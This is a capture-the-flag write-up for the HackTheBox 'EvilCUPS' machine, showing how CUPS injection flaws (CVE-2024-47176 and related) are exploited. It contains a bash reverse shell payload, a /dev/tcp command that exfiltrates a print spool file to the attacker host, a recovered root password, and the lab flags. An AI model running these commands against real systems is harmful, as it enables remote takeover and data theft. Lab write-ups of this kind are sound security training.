Post

HackTheBox EvilCUPS

Writeup for HackTheBox EvilCUPS

HackTheBox EvilCUPS

Machine Synopsis

EvilCUPS is a Medium difficulty Linux machine that features a CUPS Command Injection Vulnerability CVE-2024-47176. This CVE allows remote unauthenticated users the ability to install a malicious printer on the vulnerable machine over UDP/631. This printer is configured to utilize Foomatic-RIP which is used to process documents and where the command injection happens. In order to trigger the command execution, a document needs to be printed. The CUPS Webserver is configured to allow anonymous users access to TCP/631. Navigating here makes it possible to print a test page on the malicious printer and gain access as the “lp” user. This user the ability to retrieve past print jobs, one of which contains the root password to the box. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -p- --min-rate 10000 10.10.11.40

PORT    STATE SERVICE
22/tcp  open  ssh
631/tcp open  ipp

❯ nmap -p 22,631 -sC -sV 10.10.11.40

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is the webpage on port 631. The CUPS is running on v2.4.2.

webpage

There is one printer listed on the Printers tab.

printers_webpage

Clicking on the printer, we can observe that there was a completed printer job.

print_job_webpage

The Admin tab returns us 403 Forbidden.

Googling for CUPS 2.4.2 exploit shows me this article by Oligo.

Vulnerabilities Overview

  1. Initial Access (CVE-2024-47176): cups-browsed (<= 2.0.1) accepts unauthenticated requests on UDP port 631. Attackers send a crafted packet to trigger a Get-Printer-Attributes request to a malicious IPP server.
  2. IPP Attribute Injection (CVE-2024-47076, CVE-2024-47175): libcupsfilters and libppd fail to properly validate IPP attributes from a malicious server. This allows an attacker to inject malicious data into the CUPS system, creating a temporary PPD file.
  3. Command Execution (CVE-2024-47177): The injected data contains a FoomaticRIPCommandLine PPD parameter that instructs CUPS to execute the foomatic-ripfilter. When a print job is sent, the attacker’s command is executed.

Attack Flow

  • The target machine is tricked into connecting to a malicious IPP server.
  • The server sends IPP attributes that inject a malicious PPD directive into a temporary file.
  • A print job triggers the execution of the injected command.

Exploitation

A public PoC is available on this GitHub repository. The code basically sets up a IPP server on port 12345 and delivers malicious browsed packets to the target to create a new “printer”.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ git clone https://github.com/ippsec/evil-cups
❯ cd evil-cups
❯ virtualenv myenv
❯ source myenv/bin/activate
❯ pip install -r requirements.txt
❯ python3 evilcups.py 10.10.16.4 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1" &'
IPP Server Listening on ('10.10.16.4', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
20 elapsed
target connected, sending payload ...

target connected, sending payload ...

Lets check the Printers tab if our new malicious printer is installed.

printers_webpage_after_sending_payload

Now, we need to send a print job command to achieve command injection.

We can do this by selecting the printer we just installed and click on Maintenance in the drop-down menu. Thereafter, select Print Test Page.

print_test_page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.40] 41142
bash: cannot set terminal process group (2285): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
lp@evilcups:/$ pwd
/
lp@evilcups:/$ ls
bin   etc	  initrd.img.old  lost+found  opt   run   sys  var
boot  home	  lib		  media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64		  mnt	      root  srv   usr  vmlinuz.old
lp@evilcups:/$ cd /home	
lp@evilcups:/home$ ls 
htb
lp@evilcups:/home$ cd htb
lp@evilcups:/home/htb$ ls
user.txt
lp@evilcups:/home/htb$ cat user.txt
b2d6bbe24fa497e4592cfd80ca389650

Privilege Escalation

The official CUPS documentation tells us that the job files are usually stored at /var/spool/cups.

However, we do not have the permissions to execute in this directory.

1
2
lp@evilcups:/var/spool/cups$ ls -l
ls: cannot open directory '.': Permission denied

The official documentation also states that two types of files will be found in the spool directory: control files starting with the letter “c” (“c00001”, “c99999”, “c100000”, etc.) and data files starting with the letter “ds” (“d00001-001”, “d99999-001”, “d100000-001”, etc.)

Remember that there was a completed print job during our reconnaissance? The print job had an id of 1. Lets try to read the file d00001-001!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lp@evilcups:/var/spool/cups$ cat /var/spool/cups/d00001-001
cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
...

Nice, it looks like some pdf file. Lets transfer this file to our machine.

1
❯ nc -nlvp 1234 > something.pdf
1
lp@evilcups:/var/spool/cups$ cat /var/spool/cups/d00001-001 > /dev/tcp/10.10.16.4/1234

Looking at the PDF contents, we can find a password Br3@k-G!@ss-r00t-evilcups.

pdf_contents

We could have also found the password using cat or strings.

1
2
3
4
5
6
7
8
9
10
  ❯ strings something.pdf
  ...
  %%EndPageSetup
  do_header
  5 742 M
  (Br3@k-G!@ss-r00t-evilcups) s
  _R
  S
  %%Trailer
  ...

Lets change our user to root with the newly found password!

1
2
3
4
5
6
7
lp@evilcups:/var/spool/cups$ su -
Password: Br3@k-G!@ss-r00t-evilcups

root@evilcups:~# pwd
/root
root@evilcups:~# cat root.txt
2cae8fbb4c3b674fd5fb5cafc5169068
This post is licensed under CC BY 4.0 by the author.